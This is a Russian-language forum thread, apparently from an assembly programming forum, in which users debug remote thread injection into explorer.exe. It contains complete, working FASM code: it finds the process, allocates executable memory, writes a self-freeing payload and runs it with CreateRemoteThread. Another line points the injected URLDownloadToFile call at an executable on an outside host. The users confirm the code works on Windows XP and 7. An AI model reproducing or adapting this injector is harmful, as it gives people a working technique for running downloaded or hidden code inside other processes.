kap00stik Code (Text): invoke VirtualAllocEx, edi, esi, thread_end-thread_start, MEM_COMMIT, PAGE_READWRITE У вас DEP включён? Если да, то надо не PAGE_READWRITE а PAGE_EXECUTE_READWRITE. PS У меня UrlDownloadToFile падает.
Не помогает Да да, падает потому-что файла для скачки такого нет давно, надо заменить даунлоад урл на вот например этот: http://www.bigcollapse.host.sk/files/hello.exe',0
Мда короче я так понимаю, нихера хорошего у вас тоже не выходит. Все-таки интересно, почему этот код когда-то работавший под XP теперь отказывается даже там? Походу долго я перекуривал, что-то изменилось за это время (кроме того что вышла виста и семерка). Где-то слышал что начиная с висты надо юзать натив NtCreateRemoteThread функцию. Ну хорошо, а почему тогда под ХР не работает? Я уже тут голову сломал ой. И почему олька не вылетает на int 3 ? Стоит как JIT-Debugger в системе. Короче поебусь еще не много, и походу опять курить лет этак на 5 уйду.
kap00stik Вот, написал быстренько, надеюсь разберётесь: Code (Text): format PE gui entry start include 'win32a.inc' section 'qweasd' readable writeable executable data import library kernel32,'kernel32.dll',user32,'user32.dll' include 'api\kernel32.inc' include 'api\user32.inc' end data struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile db MAX_PATH dup(?) ends TH32CS_SNAPPROCESS equ 2 start: invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 inc eax jz .error dec eax mov ebx,eax mov [_proc+PROCESSENTRY32.dwSize],sizeof.PROCESSENTRY32 invoke Process32First,ebx,_proc .nxt_proc: lea eax,[_proc+PROCESSENTRY32.szExeFile] invoke lstrcmpi,_explorer,eax test eax,eax je .inject invoke Process32Next,ebx,_proc test eax,eax jne .nxt_proc .end: invoke CloseHandle,ebx .error: retn .inject: invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,0,[_proc+PROCESSENTRY32.th32ProcessID] test eax,eax je .end mov esi,eax invoke VirtualAllocEx,esi,0,_code_end-_code,MEM_COMMIT,PAGE_EXECUTE_READWRITE mov edi,eax push [GetModuleHandleA] pop [_GetModuleHandleA] push [GetProcAddress] pop [_GetProcAddress] push [VirtualFree] pop [_VirtualFree] invoke WriteProcessMemory,esi,edi,_code,_code_end-_code,temp push eax invoke CreateRemoteThread,esi,0,0,edi,edi,0,esp pop eax invoke CloseHandle,esi jmp .end _code:;[esp+4]=base push ebp mov ebp,[esp+8] sub ebp,_code ;ebp=delta lea eax,[_u32+ebp] invoke ebp+_GetModuleHandleA,eax lea edx,[mb+ebp] invoke ebp+_GetProcAddress,eax,edx stdcall eax,0,0,0,0;MessageBoxA mov eax,ebp pop ebp pop edx add esp,4 ;eax=delta ;edx=return push MEM_DECOMMIT;Free type push _code_end-_code;size lea ecx,[_code+eax] push ecx;address push edx;return jmp [_VirtualFree+eax] _u32 db 'user32.dll',0 mb db 'MessageBoxA',0 _GetModuleHandleA dd ? _GetProcAddress dd ? _VirtualFree dd ? _code_end: temp dd ? _explorer db 'explorer.exe',0 _proc PROCESSENTRY32 На XP работает.
На Windows 7 32Bit тоже. Охренеть можно, вся заморочка была в том, что я выделял память с последним параметром PAGE_READWRITE вместо PAGE_EXECUTE_READWRITE. Заменил, и на тебе, заработало. А ведь qwe8013 уже упомянал об этом. (надо завязывать траву курить). Всем спасибо, qwe8013 тебе особенное!